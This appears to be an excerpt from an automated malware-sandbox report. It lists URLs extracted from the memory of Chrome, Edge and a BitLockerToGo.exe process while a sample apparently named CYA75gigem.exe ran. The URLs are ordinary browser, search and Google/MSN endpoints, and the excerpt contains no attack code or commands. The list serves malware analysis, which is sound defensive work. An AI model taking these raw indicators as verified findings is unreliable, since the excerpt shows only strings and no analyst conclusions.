Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: CYA75gigem.exe	String found in binary or memory: http://html4/loose.dtd
Source: msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 0000000B.00000003.1716979235.0000009C010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716606649.0000009C01078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716731219.0000009C01088000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716809579.0000009C00F38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: chrome.exe, 0000000B.00000003.1716979235.0000009C010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716606649.0000009C01078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716731219.0000009C01088000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718356616.0000009C00F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718308209.0000009C00ED4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718707541.0000009C01178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718826358.0000009C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718331686.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718586350.0000009C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716809579.0000009C00F38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716774978.0000009C010D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718279497.0000009C00C78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 0000000B.00000003.1716979235.0000009C010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716606649.0000009C01078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716731219.0000009C01088000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718356616.0000009C00F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718308209.0000009C00ED4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718707541.0000009C01178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718826358.0000009C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718331686.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718586350.0000009C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716809579.0000009C00F38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716774978.0000009C010D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718279497.0000009C00C78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 0000000B.00000003.1716979235.0000009C010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716606649.0000009C01078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716731219.0000009C01088000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718356616.0000009C00F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718308209.0000009C00ED4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718707541.0000009C01178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718826358.0000009C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718331686.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718586350.0000009C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716809579.0000009C00F38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716774978.0000009C010D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718279497.0000009C00C78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 0000000B.00000003.1716979235.0000009C010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716606649.0000009C01078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716731219.0000009C01088000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718356616.0000009C00F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718308209.0000009C00ED4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718707541.0000009C01178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718826358.0000009C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718331686.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718586350.0000009C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716809579.0000009C00F38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1716774978.0000009C010D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718279497.0000009C00C78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_434.13.dr	String found in binary or memory: http://www.broofa.com
Source: BitLockerToGo.exe, 00000009.00000003.1804037779.0000000005005000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000005005000.00000004.00000020.00020000.00000000.sdmp, 8y58gl.9.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 0000000B.00000003.1732864087.0000009C002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 0000000B.00000003.1732864087.0000009C002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chrome.exe, 0000000B.00000003.1732864087.0000009C002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/fine-allowlist
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 0000000B.00000003.1708480775.0000009C00AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708458821.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1707345125.0000009C00380000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835659054.000001F80034C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000003.1835134652.000001F800360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 0000000B.00000003.1741099077.0000009C01340000.00000004.00000800.00020000.00000000.sdmp, chromecache_434.13.dr, chromecache_433.13.dr	String found in binary or memory: https://apis.google.com
Source: msedge.exe, 0000000E.00000002.1841069278.000002240B737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2351b84e-e2df-4584-b041-fba5ee3b4e44.tmp.17.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: e0d5c4e9-a3be-4408-aa45-44f0d1a0aa60.tmp.15.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: BitLockerToGo.exe, 00000009.00000002.2108827400.000000000556D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000004FEA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000004F8D000.00000004.00000020.00020000.00000000.sdmp, 3euk6x.9.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: BitLockerToGo.exe, 00000009.00000002.2108827400.000000000556D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000004FEA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000004F8D000.00000004.00000020.00020000.00000000.sdmp, 3euk6x.9.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://c.msn.com/
Source: BitLockerToGo.exe, 00000009.00000003.1804037779.0000000005005000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000005005000.00000004.00000020.00020000.00000000.sdmp, 8y58gl.9.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 0000000B.00000003.1713217284.0000009C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 0000000B.00000003.1713217284.0000009C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: BitLockerToGo.exe, 00000009.00000002.2105782432.00000000052BF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1804037779.0000000005005000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000005005000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, ppp8y5.9.dr, 8y58gl.9.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000009.00000002.2105782432.00000000052BF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1804037779.0000000005005000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2104620414.0000000005005000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, ppp8y5.9.dr, 8y58gl.9.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 0000000B.00000003.1713149844.0000009C00C88000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000E.00000002.1839259406.000001F80017C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: manifest.json.15.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: chrome.exe, 0000000B.00000003.1712802741.0000009C004AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708439027.0000009C00CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718391002.0000009C00C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718160839.0000009C00C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1715124461.0000009C00CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1718131654.0000009C0033C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1708377791.0000009C00C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1713107680.0000009C00C78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1713149844.0000009C00C88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 0000000B.00000003.1700607500.00000904006B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1700077950.0000090400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1744611949.000009040080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1700282888.000009040039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 0000000B.00000003.1700607500.00000904006B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 0000000B.00000003.1742474723.0000009C0144C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1700077950.0000090400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1744611949.000009040080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.1700282888.000009040039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
